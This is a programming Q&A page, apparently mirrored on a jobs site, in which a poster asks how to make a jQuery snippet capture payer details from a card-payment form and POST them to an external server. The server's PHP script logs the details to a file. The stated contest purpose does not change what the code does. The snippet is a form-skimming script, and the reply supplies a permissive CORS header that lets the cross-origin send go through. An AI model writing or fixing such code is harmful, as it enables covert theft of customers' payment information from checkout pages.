Business
Jobs
  • About Us
  • Solutions
    • Job Postings
      Post your job and receive qualified candidates in 48h.
    • Candidate Assessments
      500+ technical and psychological tests, plus anti-fraud.
    • Headhunting
      Tailor-made executive search from start to finish.
    • Payroll + EOR
      Payroll dispersal and EOR across 15+ LATAM countries.
  • Pricing
  • Jobs

0

159
Views
Retrieving form info with javascript and redirecting it to another server

I am helping develop a temporary site that will be redirect payments to openpay for proper bank validation but I need to take payer info and redirect it to a different server to then from those users (within two weeks) select one for a contest. This is part of a promotion campaign for a small business. What I want to do is take the payer information when they hit pay and have that information sent to my remote server but so far I haven't been able to capture the data. Here is the js script I put together to capture the data:

<script type="text/javascript">
            $("#fm_pay\\:make_payment_button").click(function() { 
                var name_of_customer = $('data-openpay-card="name_of_customer"').val();
                //console.log(data);
                $.ajax({
                    type: "POST",
                    beforeSend: function (xhr, opts) {
                    if (name_of_customer == "") { xhr.abort(); }
                    }, //close beforesend
                    url: "http://external.server/the.php",
                    dataType: "json",
                    data: {name_of_customer:name_of_customer},
                    });
                });
        </script>

This is what is on the main site taking in payments:

 <div class="row">
                                        <div class="col-md-12">
                                            <div class="form-group form-group-lg">
                                                <label for="">Cardholder name <label for="" class="text-red text-bold">*</label></label>
                                        <input type="text" class="form-control" placeholder="as it appears on the card" data-openpay-card="holder_name">
                                            </div>
                                        </div>

And finally here is what i have on my remote server taking in data:

<?php
$name_of_customer = $_POST['name_of_customer'];

$sep = "==================================================
Name: $name_of_customer
==================================================
";


$file = fopen("contest.txt", "a+");
fwrite($file, $sep.PHP_EOL);
fclose($file);
?>

Thanks! Any help is welcomed!

about 4 years ago · Juan Pablo Isaza
1 answers
Answer question

0

add this in your php file:

header("access-control-allow-origin: *");
about 4 years ago · Juan Pablo Isaza Report
Answer question
Find remote jobs

Discover the new way to find a job!

Top jobs
Top job categories
Business
Post vacancy Pricing Sales
Legal
Terms and conditions Privacy policy
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Show me some job opportunities
There's an error!